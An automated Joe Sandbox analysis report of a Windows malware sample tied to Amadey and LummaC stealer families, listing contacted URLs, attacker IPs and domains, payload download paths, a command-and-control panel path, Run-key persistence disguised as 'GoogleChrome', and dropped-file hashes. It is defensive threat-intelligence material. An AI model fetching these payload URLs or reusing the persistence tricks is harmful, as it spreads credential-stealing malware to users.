https://store.steampowered.com/;	378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exec	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	false		high
https://help.steampowered.com/en/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe6139n	skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/well/random.exes	skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/subscriber_agreement/	378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exenek	skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/flava/random.exeW	skotes.exe, 00000005.00000002.3023335135.000000000152D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://recaptcha.net/recaptcha/;	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php5	skotes.exe, 00000005.00000002.3128439872.0000000006242000.00000004.00000020.00020000.00000000.sdmp	false		high
https://effecterectz.xyz/VWSr	378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://debonairnukk.xyz/api	378e4894d2.exe, 00000006.00000003.2553689810.0000000001529000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2564846017.0000000001529000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
89.23.100.42	unknown	Russian Federation	48687	MAXITEL-ASRU	false
104.21.16.1	deafeninggeh.biz	United States	13335	CLOUDFLARENETUS	false
172.67.218.51	hansgborn.eu	United States	13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
104.21.51.88	shineugler.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.207.38	immureprech.biz	United States	13335	CLOUDFLARENETUS	false
104.21.79.7	drive-connect.cyou	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575381
Start date and time:	2024-12-15 11:57:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/32@20/10
EGA Information:	Successful, ratio: 88.9%
HCA Information:	Successful, ratio: 51% Number of executed functions: 137 Number of non-executed functions: 194
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.53.14, 20.231.128.65, 40.126.53.18, 40.126.53.19, 20.190.181.1, 20.231.128.67, 20.190.181.2, 40.126.53.13, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target 378e4894d2.exe, PID 4324 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:59:01	API Interceptor	761x Sleep call for process: skotes.exe modified
05:59:17	API Interceptor	4x Sleep call for process: 378e4894d2.exe modified
05:59:22	API Interceptor	138x Sleep call for process: 7bOe0mBZpcivp612.exe modified
05:59:33	API Interceptor	115x Sleep call for process: xHdN9si8LjqmZs2y.exe modified
05:59:41	API Interceptor	21x Sleep call for process: WT0pal2n7uSoixsQ.exe modified
05:59:54	API Interceptor	5x Sleep call for process: LOVI3rtjoHDpADyV.exe modified
10:58:01	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
10:59:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run GoogleChrome C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
10:59:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run GoogleChrome C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
10:59:40	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChrome.lnk
10:59:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e145bb7f6e.exe C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe
11:00:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b12a870d60.exe C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe
11:00:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e145bb7f6e.exe C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.16.1	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188387cm.n9shteam.in/videolinePipeHttplowProcessorgamelocalTemp.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tacitglibbr.biz	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	hKyD3sj3Y9.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	P0w3gV5bH3.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.50.161
hansgborn.eu	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.96.3
	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.96.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	hKyD3sj3Y9.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	P0w3gV5bH3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Merge.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.207.38
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	hKyD3sj3Y9.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
CLOUDFLARENETUS	Merge.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.207.38
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
	hKyD3sj3Y9.exe	Get hash	malicious	LummaC	Browse	172.67.207.38
MAXITEL-ASRU	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	89.23.100.233
	iGxCM2I5u9.exe	Get hash	malicious	Flesh Stealer	Browse	89.23.100.233
	T05Dk6G8fg.exe	Get hash	malicious	Unknown	Browse	89.23.100.233
	3K5MXGVOJE.exe	Get hash	malicious	Unknown	Browse	89.23.100.233
	VaXmr82RIb.exe	Get hash	malicious	Unknown	Browse	89.23.100.233
	Installer_setup32_64x.exe	Get hash	malicious	LummaC, Stealc	Browse	89.23.96.109
	9fGsCDYKLV.exe	Get hash	malicious	Flesh Stealer	Browse	89.23.100.233
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	89.23.100.233
	file.exe	Get hash	malicious	Flesh Stealer	Browse	89.23.100.233
	L814CyOxMT.exe	Get hash	malicious	Flesh Stealer, PureLog Stealer, zgRAT	Browse	89.23.100.233
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	YbJEkgZ4z5.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	afXf6ZiYTT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	ZideZBMwUQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	hKyD3sj3Y9.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
	P0w3gV5bH3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 104.21.51.88 104.21.16.1 172.67.207.38 104.21.79.7
37f463bf4616ecd445d4a1937da06e19	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	172.67.218.51
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	172.67.218.51
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.218.51
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	172.67.218.51
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse	172.67.218.51
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.218.51
	build.msi	Get hash	malicious	Unknown	Browse	172.67.218.51
	rHrG691f7q.exe	Get hash	malicious	LummaC	Browse	172.67.218.51
	Setup.msi	Get hash	malicious	Unknown	Browse	172.67.218.51
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.218.51

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79AB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Dec 15 10:59:49 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	85062
Entropy (8bit):	1.7164190033623483
Encrypted:	false
SSDEEP:	192:2ZJQ+vEt+POTpnuKb0CadLJ9Ly9qmXz3VGJVfeagmyk6HOwi3px+nE:9YEkGTx77adLJtGSJR7gmyPTi5N
MD5:	C2AB1BC34137267A58D936725883A29B
SHA1:	F491D1DC20C2DDEBD706BEF9F8ACFCAF62CC9752
SHA-256:	7F0F3F20F316E2E6B99016819993EF4BEF79D15F40ED33C60194C1B03BCB368E
SHA-512:	BBA4EADA7B24F6C98F12491452A559DD84C1174FEC67770382BD9612ADEAA81932FBD8422D6D62DAF6295BAFAB880AEA8E9696AAA8381463DEE6451AFFC0F28A
Malicious:	false
Preview:	MDMP..a..... .........^g........................................l7..........T.......8...........T...........`....2..........h...........T...............................................................................eJ..............GenuineIntel............T.............^g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7C7B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8388
Entropy (8bit):	3.690713102573993
Encrypted:	false
SSDEEP:	192:R6l7wVeJ/k6g6YRY6ogmfcV4bpDu89b53sfC+Tm:R6lXJc6g6Yu6ogmfcVU58fk
MD5:	660CBA1FEC901A184F0CD2A29DF46359
SHA1:	9DD997FA7F63154575337BD6668585CAAD59F41D
SHA-256:	8B34B71CCD9EE476F092013EC1C7DBCB5CA597E5FCF295A030F6C22DE902E9B6
SHA-512:	3D938E21E8C924558912CDCC28E51C2C94958AD0643A840B2DF11B7F301EA3849EEA7E2C7096A3BD2709CF81743AC587AEA7DABF7DB1A6834CDDFE867CA340EC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.5.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7CF9.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.464968098863377
Encrypted:	false
SSDEEP:	96:uIjfpI7oE7VRJWEE0ID9KnE0Ii9xztx2dd:uI1YoE7hWEVlVx9xztx2T
MD5:	ED3EAA82E08A47726279F95102CF3391
SHA1:	E201DC20E120C6440E20A2220DA6325017B6D72C
SHA-256:	E25601E1AE17DE456FC7029D057C64EF34F5EFF9A3407F52773A49B62C94A03A
SHA-512:	A42FB25C675FB9543D74752F16286ABAFEFFB2ADC2760A7F7FA9109853C1B719B7B5231197BEA292206CFAC6CBC648DE930BD21B98AEEC35A39AC18C2A0F4C6A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="632282" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA5AC.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Dec 15 11:00:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	86110
Entropy (8bit):	1.6943068013317721
Encrypted:	false
SSDEEP:	384:6cEkFT/02UmAU3sRqyrFFe9+PBAbq39uC/ijS0YF:+kFT/02UmNihAi9h00
MD5:	EDC5F934A4ED354F33426C2ACEA2343C
SHA1:	AA6E95D8025AF1D4D39CB1F69C946ADD496D518D
SHA-256:	754A8E2C1252ACEAE20E697B0A3F5F19B4149B9FF20D6E5BF12E15D559E2F89F
SHA-512:	E94D88B6B7A9880B628AC0B8E164E17ADF99D8128991ED1247A5465692309311EEDC88C90CACD623DCB830AB5C77B50CF544B53738B4122615C2002516751652
Malicious:	false
